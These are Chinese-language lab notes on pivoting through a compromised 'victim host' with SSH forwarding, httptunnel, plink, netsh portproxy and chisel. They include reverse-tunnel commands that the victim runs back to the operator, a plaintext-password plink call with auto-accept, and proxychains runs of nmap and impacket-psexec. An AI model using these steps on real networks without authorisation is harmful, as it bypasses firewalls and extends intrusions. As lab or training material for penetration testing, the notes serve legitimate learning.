关于端口转发和隧道的一些记录

操作记录贴
Linux查看特定端口占用情况:ss -antp | grep "[端口号]"

Linux/Unix下进行转发

RINETD

项目地址:传送门
以本机作为跳板,别的机器访问本机特定端口就等一访问另一远程主机的特定端口

编译 + 安装

# 解压后进入目录:
./configure
make
make install
# 手册
man rinetd

配置(rinetd.conf)

......
#
# forwarding rules come here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress  bindport  connectaddress  connectport  options...
# 0.0.0.0     80        192.168.1.2     80
# ::1         80        192.168.1.2     80
# 0.0.0.0     80        fe80::1         80
# 127.0.0.1   4000      127.0.0.1       3000
# 127.0.0.1   4000/udp  127.0.0.1       22           [timeout=1200]
# 127.0.0.1   8000/udp  192.168.1.2     8000/udp   
0.0.0.0    [本地端口]    [远程ip]    [远程端口]
......

运行

rinetd -f -c ./rinetd.conf

SSH远程端口转发

把受害主机的端口转发到本地机器上

命令(受害主机上执行)

ssh -N -R [自己机器ip]:[自己机器端口]:127.0.0.1:[要转发受害机器的端口] [自己机器的用户@自己机器ip]

脚本(模拟情景)

#!/bin/bash

# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X

# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 例程:只允许3389端口的入站流量,不限制出站流量
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

SSH本地端口转发

通过防火墙规则转发,其实就是把受害机器做成了跳板

脚本(模拟情景,运行在受害主机上)

#!/bin/bash

# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X

# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 例程:通过本机转发3389,22,8080端口
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

使用(本地执行)

sudo ssh -N -L 0.0.0.0:[端口]:[不可直达主机ip]:[端口(和前面一致)] [受害机器用户]@[受害主机ip]

SSH动态端口转发

通过创建一个本地 SOCKS4 应用程序代理用于访问远程主机上的网络连接

命令

ssh -N -D 127.0.0.1:[一个未占用端口] [远程主机用户]@[远程主机ip]

使用

cat /etc/proxychains.conf
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 	127.0.0.1 [上一步的端口]
...

sudo proxychains nmap ......

httptunnel

将远程linux做成跳板

模拟示例

#!/bin/bash

# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X

# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 远程主机只允许80,443,1234端口的入站流量
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 1234 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

本机上安装

apt install httptunnel

远程主机上执行

ssh -L 0.0.0.0:8888:[另一远程主机ip]:[另一远程主机端口] [用户名]@127.0.0.1
hts --forward-port localhost:8888 1234

本机上执行

htc --forward-port 8080 [远程主机]:1234 #1234是远程主机/防火墙开放允许入站的端口

本机上使用

nmap/rdesktop/ssh ..... 127.0.0.1 带上端口号8080 #等于连接另一主机的设定端口

Windows下进行转发

plink.exe

在Windows上将本机端口转发到远程主机上

命令

plink.exe -ssh -l [远程主机登录名] -pw [远程主机登录密码] -R [远程主机ip]:[远程主机端口]:127.0.0.1:[本机端口] [远程主机ip]

#进阶命令
cmd.exe /c echo y | plink.exe ......

NETSH

把Windows主机做成跳板
注意:需要开启IPV6,并且IP HELPER服务开启,并且需要用管理员权限运行命令

命令

# 转发
netsh interface portproxy add v4tov4 listenport=[本地监听端口] listenaddress=[本机非回环地址] connectport=[远程端口] connectaddress=[远程地址]

# 防火墙
netsh advfirewall firewall add rule name="[规则名]" protocol=TCP dir=in localip=[本机非回环地址] localport=[本地监听端口] action=allow

# 检查
netstat -anp TCP | find "[本地监听端口]"

chisel

这个感觉会好用很多
项目地址

操作

# 将Win作为Client,Linux作为Server,进行反向连接,使用Linux上的ProxyChains访问Win的网络
# 其实不管Linux还是Windows哪一个作为服务端还是客户端,命令照搬就是了😅
chisel server -p [端口] --reverse #Linux上
chisel.exe client [Linux IP]:[Linux的端口] R:socks #Win上

#附:正向连接
chisel server -p [端口] #Linux上
chisel.exe client [server IP]:[server 端口] socks #Win上

# 添加此行到:/etc/proxychains4.conf
socks5  127.0.0.1 1080 # 这里的1080端口参照Linux上的输出

## Linux上的输出
./chisel64 server -p 8080 --reverse     
2023/04/04 03:54:48 server: Reverse tunnelling enabled
2023/04/04 03:54:48 server: Fingerprint 0nm6NPJkgXFK6NWjiLSSxQB8hG7drgmUqyHzY3IZkXU=
2023/04/04 03:54:48 server: Listening on http://0.0.0.0:8080
2023/04/04 03:56:29 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

## 代理
proxychains [-q(可选)] [nmap/impacket-psexec].....